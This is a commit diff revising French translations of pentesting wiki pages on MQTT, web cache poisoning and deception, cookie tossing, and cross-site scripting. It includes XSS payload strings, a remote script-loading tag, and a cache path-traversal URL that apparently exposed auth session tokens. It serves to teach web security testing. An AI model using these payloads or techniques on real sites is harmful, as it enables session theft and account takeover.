Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui

2025-10-10 18:36:50 +00:00 · 2025-03-24 11:34:05 +00:00 · 2025-03-24 11:34:05 +00:00 · b723edaa31
commit b723edaa31
parent aad3352150
4 changed files with 80 additions and 76 deletions
--- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md
+++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md
@ -73,10 +73,6 @@ client.loop_start()
 if __name__ == "__main__":
 main()
 ```
-## Plus d'informations
-
-from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
-
 ### Le modèle Publish/Subscribe <a href="#b667" id="b667"></a>

 Le modèle publish/subscribe est composé de :
@ -88,7 +84,7 @@ Le modèle publish/subscribe est composé de :

 ### Format de paquet <a href="#f15a" id="f15a"></a>

-Chaque paquet MQTT contient un en-tête fixe (Figure 02).Figure 02 : En-tête fixe
+Chaque paquet MQTT contient un en-tête fixe (Figure 02). Figure 02 : En-tête fixe

 ![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png)

--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -17,7 +17,7 @@ L'exécution d'une attaque de poisonnement de cache implique plusieurs étapes :

 1. **Identification des Entrées Non Clés** : Ce sont des paramètres qui, bien qu'ils ne soient pas nécessaires pour qu'une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Identifier ces entrées est crucial car elles peuvent être exploitées pour manipuler le cache.
 2. **Exploitation des Entrées Non Clés** : Après avoir identifié les entrées non clés, l'étape suivante consiste à déterminer comment abuser de ces paramètres pour modifier la réponse du serveur d'une manière qui profite à l'attaquant.
-3. **Assurer que la Réponse Contaminée est Mise en Cache** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette façon, tout utilisateur accédant à la page affectée pendant que le cache est contaminé recevra la réponse contaminée.
+3. **S'assurer que la Réponse Contaminée est Mise en Cache** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette façon, tout utilisateur accédant à la page affectée pendant que le cache est contaminé recevra la réponse contaminée.

 ### Découverte : Vérifiez les en-têtes HTTP

@ -25,7 +25,7 @@ En général, lorsqu'une réponse a été **stockée dans le cache**, il y aura

 ### Découverte : Codes d'erreur de mise en cache

-Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devraient être répondues avec un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
+Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devraient être répondues par un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).

 Vous pouvez trouver plus d'options dans :

@ -37,7 +37,7 @@ Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cac

 ### Découverte : Identifier et évaluer les entrées non clés

-Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui peuvent **modifier la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
+Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui pourraient être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
@ -47,10 +47,10 @@ Avec le paramètre/en-tête identifié, vérifiez comment il est **sanitisé** e

 ### Obtenir la réponse mise en cache

-Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** en abuser, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
+Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** l'**abuser**, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.

 L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'est pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
-L'en-tête **`Cache-Control`** est également intéressant pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
+L'en-tête **`Cache-Control`** est également intéressant à connaître pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`

 Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît le `User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.

@ -77,7 +77,15 @@ _Notez que cela empoisonnera une requête à `/en?region=uk` et non à `/en`_
 cache-poisoning-to-dos.md
 {{#endref}}

-### Utiliser l'empoisonnement de cache web pour exploiter les vulnérabilités de gestion des cookies
+### Empoisonnement de cache via les CDN
+
+Dans **[ce rapport](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**, le scénario simple suivant est expliqué :
+
+- Le CDN mettra en cache tout ce qui se trouve sous `/share/`
+- Le CDN ne décodera ni ne normalisera `%2F..%2F`, par conséquent, il peut être utilisé comme **traversée de chemin pour accéder à d'autres emplacements sensibles qui seront mis en cache** comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Le serveur web DÉCODERA et normalisera `%2F..%2F`, et répondra avec `/api/auth/session`, qui **contient le jeton d'authentification**.
+
+### Utilisation de l'empoisonnement de cache web pour exploiter les vulnérabilités de gestion des cookies

 Les cookies pourraient également être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez être en mesure d'exploiter le XSS dans plusieurs clients qui chargent la réponse de cache malveillante.
 ```html
@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Poisoning du cache avec traversée de chemin pour voler une clé API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-[**Cette rédaction explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.
+[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.

 Cela est également mieux expliqué dans :

@ -114,7 +122,7 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Exploitation avec un en-tête `Vary` limité
+### Exploiter avec un en-tête `Vary` limité

 Si vous avez découvert que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS** mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**. Alors, vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de polluer le cache en utilisant cet agent utilisateur :
 ```html
@ -138,17 +146,17 @@ Il y a un laboratoire Portswigger à ce sujet : [https://portswigger.net/web-sec

 ### Cloaking de Paramètres

-Par exemple, il est possible de séparer les **paramètres** dans les serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela pourrait être utilisé pour insérer des valeurs de paramètres non clés à l'intérieur de ceux qui sont clés et en abuser.
+Par exemple, il est possible de séparer les **paramètres** dans les serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela pourrait être utilisé pour mettre des valeurs de paramètres non clés à l'intérieur de paramètres clés et en abuser.

 Laboratoire Portswigger : [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

-### Exploiter le Poisoning de Cache HTTP en abusant du Smuggling de Requêtes HTTP
+### Exploitation de l'empoisonnement du cache HTTP en abusant du HTTP Request Smuggling

-Apprenez ici comment effectuer des [attaques de Poisoning de Cache en abusant du Smuggling de Requêtes HTTP](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
+Apprenez ici comment effectuer des [attaques d'empoisonnement de cache en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).

-### Tests Automatisés pour le Poisoning de Cache Web
+### Tests automatisés pour l'empoisonnement du cache Web

-Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement le poisoning de cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
+Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement l'empoisonnement du cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.

 Exemple d'utilisation : `wcvs -u example.com`

@ -164,7 +172,7 @@ L'envoi d'une mauvaise valeur dans l'en-tête content-type a déclenché une ré

 ### GitLab + GCP CP-DoS

-GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de empoisonner le cache pour renvoyer un corps de réponse vide. Cela pouvait également prendre en charge la méthode `PURGE`.
+GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et d'empoisonner le cache pour renvoyer un corps de réponse vide. Il pouvait également prendre en charge la méthode `PURGE`.

 ### Middleware Rack (Ruby on Rails)

@ -180,13 +188,13 @@ Les caches incluent souvent des paramètres GET spécifiques dans la clé de cac

 ### Règles de User Agent

-Certains développeurs bloquent les requêtes avec des user-agents correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que le poisoning de cache et le DoS.
+Certains développeurs bloquent les requêtes avec des user-agents correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que l'empoisonnement du cache et le DoS.

 ### Champs d'En-tête Illégaux

 Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms d'en-tête. Les en-têtes contenant des caractères en dehors de la plage **tchar** spécifiée devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs ne respectent pas toujours cette norme. Un exemple notable est Akamai, qui transmet des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l'en-tête `cache-control` n'est pas présent. Un modèle exploitable a été identifié où l'envoi d'un en-tête avec un caractère illégal, tel que `\`, entraînerait une erreur 400 Bad Request mise en cache.

-### Trouver de Nouveaux En-têtes
+### Trouver de nouveaux en-têtes

 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

@ -194,7 +202,7 @@ Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caract

 L'objectif de la Cache Deception est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**.

-Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** répond avec les **contenus sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs.
+Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** **rejoue** avec les contenus **sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs.

 D'autres choses à tester :

@ -209,13 +217,13 @@ Un autre exemple très clair peut être trouvé dans cet article : [https://hack
 Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme _http://www.example.com/home.php/non-existent.css_, le contenu de _http://www.example.com/home.php_ (**avec les informations sensibles de l'utilisateur**) sera renvoyé et le serveur de cache enregistrera le résultat.\
 Ensuite, l'**attaquant** peut accéder à _http://www.example.com/home.php/non-existent.css_ dans son propre navigateur et observer les **informations confidentielles** des utilisateurs qui ont accédé auparavant.

-Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type MIME `text/css` (qui est celui attendu pour un fichier _.css_).
+Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type mime `text/css` (qui est celui attendu pour un fichier _.css_).

-Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du Smuggling de Requêtes HTTP](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
+Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

 ## Outils Automatiques

- [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités de poisoning de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.
+- [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités d'empoisonnement de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.

 ## Références

--- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
@ -13,10 +13,11 @@ Comme indiqué dans la section Hacking des Cookies, lorsqu'un **cookie est défi

 Cela peut être dangereux car l'attaquant peut être en mesure de :

- **Fixer le cookie de la victime au compte de l'attaquant** donc si l'utilisateur ne s'en rend pas compte, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant pourra obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut enregistrer sa carte de crédit dans le compte...)
+- **Fixer le cookie de la victime au compte de l'attaquant** afin que si l'utilisateur ne s'en rend pas compte, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant pourra obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut enregistrer sa carte de crédit dans le compte...)
+- Un exemple de cela [peut être trouvé ici](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) où l'attaquant a défini son cookie dans des sections spécifiques qu'une victime utilisera pour autoriser **l'accès à ses dépôts git mais depuis le compte de l'attaquant** car il définira ses cookies dans les points de terminaison nécessaires.
 - Si le **cookie ne change pas après la connexion**, l'attaquant peut simplement **fixer un cookie (session-fixation)**, attendre que la victime se connecte et ensuite **utiliser ce cookie pour se connecter en tant que victime**.
 - Parfois, même si les cookies de session changent, l'attaquant utilise l'ancien et il recevra également le nouveau.
- Si le **cookie définit une valeur initiale** (comme dans flask où le **cookie** peut **définir** le **token CSRF** de la session et cette valeur sera maintenue après que la victime se soit connectée), l'**attaquant peut définir cette valeur connue et ensuite en abuser** (dans ce scénario, l'attaquant peut alors faire en sorte que l'utilisateur effectue une requête CSRF car il connaît le token CSRF).
+- Si le **cookie définit une valeur initiale** (comme dans flask où le **cookie** peut **définir** le **token CSRF** de la session et cette valeur sera maintenue après que la victime se soit connectée), l'**attaquant peut définir cette valeur connue et ensuite en abuser** (dans ce scénario, l'attaquant peut alors amener l'utilisateur à effectuer une requête CSRF car il connaît le token CSRF).
 - Tout comme définir la valeur, l'attaquant pourrait également obtenir un cookie non authentifié généré par le serveur, obtenir le token CSRF à partir de celui-ci et l'utiliser.

 ### Cookie Order
@ -28,7 +29,7 @@ Selon qui a **le chemin le plus spécifique** ou lequel est le **plus ancien**,
 La plupart des **sites web n'utiliseront que la première valeur**. Donc, si un attaquant veut définir un cookie, il est préférable de le définir avant qu'un autre ne soit défini ou de le définir avec un chemin plus spécifique.

 > [!WARNING]
-> De plus, la capacité de **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que la **victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**.
+> De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que la **victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant sera envoyé en premier**.

 ### Protection Bypass

--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@ -4,7 +4,7 @@

 1. Vérifiez si **n'importe quelle valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par le code **JS**.
 2. **Trouvez le contexte** où elle est réfléchie/utilisée.
-3. Si **réfléchie**
+3. Si **réfléchi**
 1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez le payload :
 1. En **HTML brut** :
 1. Pouvez-vous créer de nouvelles balises HTML ?
@ -24,7 +24,7 @@
 4. Pouvez-vous contourner les protections ?
 4. Fonction Javascript **exécutée**
 1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
-4. Si **utilisée** :
+4. Si **utilisé** :
 1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**

 Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de connaître :
@ -37,9 +37,9 @@ debugging-client-side-js.md

 Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web.

- **Réfléchie de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
- **Stockée et réfléchie** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
- **Accédée via JS** : Si vous constatez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **DOM XSS**.
+- **Réfléchi de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
+- **Stocké et réfléchi** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
+- **Accédé via JS** : Si vous constatez qu'une valeur contrôlée par vous est accessible en utilisant JS, vous pourriez exploiter un **DOM XSS**.

 ## Contextes

@ -47,8 +47,8 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi

 ### HTML brut

-Si votre entrée est **réfléchie dans le HTML brut** de la page, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
-De plus, gardez à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
+Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** pour exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
+De plus, gardez à l'esprit [Client Side Template Injection](../client-side-template-injection-csti.md).

 ### À l'intérieur des attributs de balises HTML

@ -57,7 +57,7 @@ Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'un
 1. D'**échapper de l'attribut et de la balise** (alors vous serez dans le HTML brut) et de créer une nouvelle balise HTML à abuser : `"><img [...]`
 2. Si vous **pouvez échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
 3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure de l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous serez en mesure de le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
-4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
+4. Si votre entrée est réfléchie à l'intérieur de "**balises inexploitable**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour l'exploiter) : **`" accesskey="x" onclick="alert(1)" x="`**

 Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
 ```html
@ -69,13 +69,13 @@ Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :

 Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :

- Si elle est reflétée entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
- Si elle est reflétée **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
+- Si reflété entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
+- Si reflété **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
- Si elle est reflétée à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
- **L'encodage Unicode** fonctionne pour écrire **du code javascript valide** :
+- Si reflété à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
+- L'**encodage Unicode** fonctionne pour écrire **du code javascript valide** :
 ```javascript
 alert(1)
 alert(1)
@ -83,8 +83,8 @@ alert(1)
 ```
 #### Javascript Hoisting

-Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
-**Consultez la page suivante pour plus d'informations :**
+Javascript Hoisting fait référence à l'opportunité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
+**Consultez la page suivante pour plus d'infos :**

 {{#ref}}
 js-hoisting.md
@ -92,7 +92,7 @@ js-hoisting.md

 ### Javascript Function

-Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant à voir dans la nature est quelque chose comme : `?callback=callbackFunc`.
+Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir dans la nature est quelque chose comme : `?callback=callbackFunc`.

 Une bonne façon de découvrir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est **de modifier la valeur du paramètre** (par exemple à 'Vulnerable') et de chercher dans la console des erreurs comme :

@ -143,7 +143,7 @@ server-side-xss-dynamic-pdf.md
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}

-## Contournement de WAF par encodage d'image
+## Contournement WAF encodage image

 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)

@ -161,12 +161,12 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer le brute-force des tags** que vous pouvez créer.\
-Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer le brute-force des attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
+Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer par brute la création de tags**.\
+Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer par brute les attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.

-### Brute-force des tags/événements
+### Force brute des tags/événements

-Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer le brute-force de tous les événements** en utilisant les tags valides (dans la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
+Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer par brute tous les événements** en utilisant les tags valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).

 ### Tags personnalisés

@ -233,24 +233,24 @@ onerror=alert`1`
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Les derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
-Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\
-Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https://www.compart.com/en/unicode/U+2121).
+The last one is using 2 unicode characters which expands to 5: telsr\
+More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
+To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).

 ### Click XSS - Clickjacking

-Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer de [**profiter du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
+Si pour exploiter la vulnérabilité vous avez besoin que l'**utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer de [**profiter du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).

 ### Impossible - Dangling Markup

 Si vous pensez juste que **c'est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de **code JS**.

-## Injection à l'intérieur de la balise HTML
+## Injecter à l'intérieur d'une balise HTML

-### À l'intérieur de la balise/échapper de la valeur d'attribut
+### À l'intérieur de la balise/échapper de la valeur de l'attribut

 Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est d'**échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code JS.\
